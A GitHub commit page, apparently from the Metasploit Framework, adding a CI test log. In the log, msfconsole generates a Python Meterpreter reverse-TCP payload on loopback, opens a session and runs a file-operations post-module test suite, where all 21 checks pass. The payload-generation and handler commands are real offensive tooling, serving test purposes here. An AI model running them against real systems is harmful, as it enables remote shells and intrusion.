-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
65efa7b
commit 01fa9b4
Showing
5,999 changed files
with
916,968 additions
and
941,380 deletions.
The diff you're trying to view is too large. We only load the first 3000 changed files.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
use python/meterpreter_reverse_tcp | ||
Stopping all jobs... | ||
[4mmsf6[0m post([1m[31mtest/unix[0m) [0m> irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear' | ||
setg SessionTlvLogging file:/tmp/pythonmeterpreter_reverse_tcp_session_tlv_logging20231026-3229-nw4wwgtxt | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> generate -o /tmp/child-process-rb-python-meterpreter-reverse-tcp20231026-3229-1cav6r.py -f raw AutoVerifySessionTimeout=30 lport=6007 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:/tmp/pythonmeterpreter_reverse_tcp_debug_log20231026-3229-tr60l2txt MeterpreterTryToFork=false PythonMeterpreterDebug=true | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> SessionTlvLogging => file:/tmp/pythonmeterpreter_reverse_tcp_session_tlv_logging20231026-3229-nw4wwgtxt | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> [*] Writing 24916 bytes to /tmp/child-process-rb-python-meterpreter-reverse-tcp20231026-3229-1cav6r.py... | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> to_handler | ||
[*] Payload Handler Started as Job 6 | ||
[4mmsf6[0m payload([1m[31mpython/meterpreter_reverse_tcp[0m) [0m> | ||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? | ||
[*] Started reverse TCP handler on 127.0.0.1:6007 | ||
[*] Meterpreter session 8 opened (127.0.0.1:6007 -> 127.0.0.1:56232) at 2023-10-26 19:02:39 +0000 | ||
use test/file | ||
[4mmsf6[0m post([1m[31mtest/file[0m) [0m> run session=8 AddEntropy=true Verbose=true | ||
[*] Setup: changing working directory to tmp: /tmp | ||
[*] Setup: Creating clean directory | ||
[*] Creating directory meterpreter-test-dir-kmhyozfa | ||
[*] meterpreter-test-dir-kmhyozfa created | ||
[*] Setup: Now in /tmp/meterpreter-test-dir-kmhyozfa | ||
[*] Running against session 8 | ||
[*] Session type is meterpreter and platform is linux | ||
[*] [should write binary data] Writing 128000 bytes | ||
[*] [should write binary data] Finished in 0.565744811 | ||
[+] should write binary data | ||
[*] [should read the binary data we just wrote] Read 128000 bytes | ||
[+] should read the binary data we just wrote | ||
[+] should delete binary files | ||
[*] [should append binary data] expected: [222, 173, 190, 239] - ASCII-8BIT | ||
[*] [should append binary data] actual: [222, 173, 190, 239] - ASCII-8BIT | ||
[+] should append binary data | ||
[+] should expand home | ||
[+] should not expand non-isolated tilde | ||
[+] should not expand mid-string tilde | ||
[+] should not expand env vars with invalid naming | ||
[+] should expand multiple variables | ||
[+] should test for file existence | ||
[+] should create text files | ||
[+] should read the text we just wrote | ||
[+] should append text files | ||
[+] should delete text files | ||
[+] should move files | ||
[+] should test for directory existence | ||
[*] [should create directories] Creating directory meterpreter-test-dir | ||
[*] [should create directories] meterpreter-test-dir created | ||
[*] [should create directories] Creating directory meterpreter-test-dir/directory | ||
[*] [should create directories] meterpreter-test-dir/directory created | ||
[+] should create directories | ||
[+] should list the directory we just made | ||
[+] should recursively delete the directory we just made | ||
[*] [should delete a symbolic link target] Creating directory meterpreter-test-dir | ||
[*] [should delete a symbolic link target] meterpreter-test-dir created | ||
[+] should delete a symbolic link target | ||
[*] [should not recurse into symbolic link directories] Creating directory meterpreter-test-dir.1 | ||
[*] [should not recurse into symbolic link directories] meterpreter-test-dir.1 created | ||
[*] [should not recurse into symbolic link directories] Creating directory meterpreter-test-dir.2 | ||
[*] [should not recurse into symbolic link directories] meterpreter-test-dir.2 created | ||
[+] should not recurse into symbolic link directories | ||
[*] Testing complete in 2.11 seconds | ||
[*] Passed: 21; Failed: 0; Skipped: 0 | ||
[*] Cleanup: changing working directory back to /home/runner/work/metasploit-framework/metasploit-framework | ||
[*] Post module execution completed | ||
sessions -K | ||
[4mmsf6[0m post([1m[31mtest/file[0m) [0m> jobs -K | ||
[*] Killing all sessions... | ||
[*] 127.0.0.1 - Meterpreter session 8 closed. | ||
[4mmsf6[0m post([1m[31mtest/file[0m) [0m> |
File renamed without changes.
Oops, something went wrong.